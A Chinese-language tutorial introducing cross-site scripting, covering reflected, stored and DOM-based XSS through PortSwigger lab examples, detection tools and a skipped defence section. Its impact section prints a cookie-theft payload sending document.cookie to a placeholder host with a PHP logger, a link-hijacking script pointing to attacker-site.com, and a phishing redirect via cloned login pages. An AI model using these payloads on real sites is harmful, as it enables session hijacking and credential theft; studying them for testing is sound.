XSS基础介绍

1 什么是 XSS

XSS, 跨站脚本漏洞,英文全称 Cross Site Script,是一种能够让黑客通过“HTML 注入”篡改网页,向其中插入恶意脚本(一般为 JS 代码),从而在用户浏览网页时,控制用户浏览器的安全威胁,也是一种类型的注入漏洞。

在一开始,利用 XSS 进行攻击的演示案例是跨域的,所以叫做“跨站脚本”,不过现在 JavaScript 的功能日益强大、网站前端也愈发复杂,是否跨域也已不重要了。

2 XSS 原理

原理,或者说过程,如图所示。

XSS 发生的条件

  1. 输入 web 应用程序的数据来自一个不可靠的源,一般是 web 请求。
  2. 包含恶意代码数据未经过滤就发送给 Web 用户。

3 XSS 类型

3.1 Reflected XSS

Reflected XSS 即反射型 XSS。当应用接收到HTTP请求中的数据,并把数据以一种不安全的方式,如不加任何处理,简单“反射”回浏览器(the immediate response)时,就会产生反射型 XSS 漏洞。

Reflected XSS 往往需要用户点击一个恶意链接才能攻击成功,且具有一次性,所以又叫 “非持久型” XSS。

Reflected XSS 通常出现在网站的搜索栏等地方,且恶意脚本代码通常来自于**当前的 HTTP 请求 (the current HTTP request)**。

举个栗子

下面以 PortSwigger XSS labs 中的一个简单例子进行说明。

该 lab 使用 GET 方法通过 search 参数传输数据,且对用户输入的数据不加任何处理就直接输出到页面上。

若用户提交如下数据,“search=1655452184”。

1
url: web-security-academy.net/?search=1655452184

得到的结果如图所示:

查看页面源码,有:

1
<h1>0 search results for '1655452184'</h1>

如果输入如下数据:

1
'<script>alert(/xss/)</script>'

发现 js 脚本 alert(/xss/) 成功执行。

再次查看网页代码:

1
2
3
4
5
6
<h1>
"0 search results for ''"
<script>alert(/xss/)</script>
"''"
</h1>
<hr>

3.2 Stored XSS

Stored XSS 即存储型 XSS,常常出现在论坛、博客、留言板等位置,攻击者在发帖过程中嵌入 XSS 攻击代码,帖子被目标服务器存储在数据库中,当用户进行正常访问时,触发恶意代码。所以 Stored XSS 的恶意脚本代码通常来自于网站服务端的数据库

也正是因为恶意代码被存储在服务端数据库中,所以 Stored XSS 不需要用户单击特定 URL 就能执行跨站脚本,且能存在更长时间,又称为“持久型 XSS”。

举个栗子

下面以 PortSwigger XSS labs 中的一个 lab 进行说明。

用户发布评论时,web 应用使用 POST 方法传输表单数据到服务端。

下图是发布评论时的报文:

服务端未对用户评论内容进行处理就存储在了数据库中,当用户访问网页时,数据库中的内容发送到客户端并展示。

在评论中嵌入恶意代码:<script>alert(/xss/)</script>

由于恶意代码被当作评论存储在了服务端,所以我们不论什么时候访问评论区被嵌入恶意代码的博客,均会触发 XSS (持久型 XSS)


3.3 DOM-based XSS

DOM-based XSS,是通过修改页面的 DOM 节点形成的 XSS。当 web 应用从攻击者可控的不受信任的来源中读取数据,并将它传入动态修改页面 DOM 节点的javascript 语句时就换产生 DOM-based XSS 漏洞。

这些 javascript 语句被称为 sink,如 eval(), innerHTML, window.location 等。

以下列出一些可能包含 DOM-XSS 漏洞的 sink。

1
2
3
4
5
6
7
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

举个栗子

以 PortSwigger XSS 实验中的 lab 为例:

用户在搜索栏输入数据,web 应用使用 javascript 代码动态修改页面。

根据题目要求,ctrl+shift+f 全局搜索 location.search

函数 trackSearch() 使用 document.write 在上下两个 section 中写入一个 <img> 标签。location.search 从 url https://0ae0002203c0668a84176d2100500026.web-security-academy.net/?search=1655452184中拿到参数 search 的值并赋值给 query。 GET 方法

如果用户输入如下恶意 js 代码: "> <script>alert(/xss/)</script> "<

用户输入的数据被嵌入当作 html 标签嵌入页面中,恶意代码被执行,触发 xss。

4 XSS 危害

4.1 盗取 cookie,劫持会话

1
url?uname=<script>document.location="http://ip/cookie.php?cookie=" + document.cookie</script> #

exploit server 的 cookie.php 代码:

1
2
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt', $cookie);

4.2 篡改网页链接

1
2
3
4
5
6
7
8
<script>
    window.onload = function(){
        var link = document.getElementsByTagName("a");
        for (j = 0; j < link.length; j++){
            link[j].href = "http://attacker-site.com/";
        }
    }
</script>

4.3 盗取用户信息

思路:克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问,即跳转到克隆网站的登录页面,用户输入登录,账号密码被存储。

1
<script>window.location="克隆网站ip"</script>

如何克隆网站?
答: kali setookit!

5 XSS 测试与发现

5.1 自动化工具

  1. Burp Suite scanner
  2. XSStrike

5.2 手动探测

  1. 构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面
  2. 使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示,如何显示,构造的字符串在相应标签中的位置(属性还是标签内容)。

主要是明确数据流以及网站处理数据的方式。

6 XSS 防御

不好意思,现在不太 care 防御手段(傲娇